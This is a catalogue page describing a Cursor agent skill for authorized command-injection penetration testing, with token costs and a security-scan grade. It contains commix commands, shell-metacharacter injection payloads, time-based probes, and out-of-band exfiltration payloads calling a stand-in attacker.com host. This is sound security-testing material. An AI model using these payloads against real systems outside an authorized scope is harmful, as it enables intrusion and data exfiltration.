metasploit-cursor-harness: Skill for Cursor

.cursor/skills/cmdi-pentest/SKILL.md

cmdi-pentest is a skill for Cursor from Suzu-Testing/metasploit-cursor-harness. It costs 57 tokens per session (1,855 once invoked), scanned A, original, MIT.

A guide for authorized testing of command injection, where application input is accidentally treated as part of an operating-system command.

In plain words
What is it for?
Use it to test features such as network checks, file conversion, or document generation for unsafe shell input, then record evidence and impact.
Why use it?
It helps identify whether crafted input can make an application run unintended commands and how the issue behaves on different systems.

Skill for Cursor

Written for Cursor: installed under .cursor/.

This is Suzu-Testing/metasploit-cursor-harness's own configuration. It tells Cursor how to work on metasploit-cursor-harness itself, so it is not a mod to install elsewhere. Copy it as a starting point and replace the rules that are about this project. Everything metasploit-cursor-harness configures →

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade A, and why

cmdi-pentest scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Not a fault in itself. Listed so you know the mod talks to something, and to what.

Command Injection Pentest

Prerequisites

  • Target is in scope (scope/scope-master.txt, engagement ROE).
  • Load web-app-pentest for overall web testing context.

Triggers

  • Features invoking system commands: ping, traceroute, nslookup, whois, dig
  • File conversion, image/audio processing, or PDF generation wrappers
  • Hostname/IP validation endpoints passing input to shell utilities
  • Response timing changes with sleep 5 or ping -c 5 style payloads
  • Shell metacharacters (;, |, &, backtick, $()) cause errors or different output
  • Argument-style injection into CLI tools (curl, wget, git, tar)

Workflow

Task Progress:
- [ ] Identify injection points and underlying OS (Linux vs Windows)
- [ ] Test with low-impact probes (; id, | whoami, & echo test)
- [ ] Confirm blind via time-based or OOB DNS exfiltration
- [ ] Apply filter bypasses when characters are blocked
- [ ] Escalate with chained commands and document command output evidence

Detection

Linux probes

CLI (primary for web vulns):

commix -u "http://<target>/ping?ip=127.0.0.1" --batch
commix -r request.txt --batch --level=3

Payloads: ; id, | id, || id, & id, `id`, $(id)

MSF MCP: No direct module. Use msf_search_modules(query="command injection").

Windows probes

CLI (primary):

commix -u "http://<target>/ping?ip=127.0.0.1" --batch --os=win

Payloads: & whoami, | whoami, %0a whoami, || whoami

MSF MCP: No direct module.

Time-based blind

CLI (primary):

commix -u "http://<target>/ping?ip=127.0.0.1" --technique=T --time-sec=5 --batch

Linux: ; sleep 5, | ping -c 5 127.0.0.1 Windows: | powershell Start-Sleep 5

MSF MCP: No direct module.

OOB blind

CLI (primary):

commix -u "http://<target>/ping?ip=127.0.0.1" --technique=FT --batch

Payloads: ; nslookup $(whoami).attacker.com, | curl http://attacker.com/$(whoami)

MSF MCP: No direct module.

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

cmdi-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 13d ago), licensed MIT. It adds 57 tokens to every session and 1,855 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
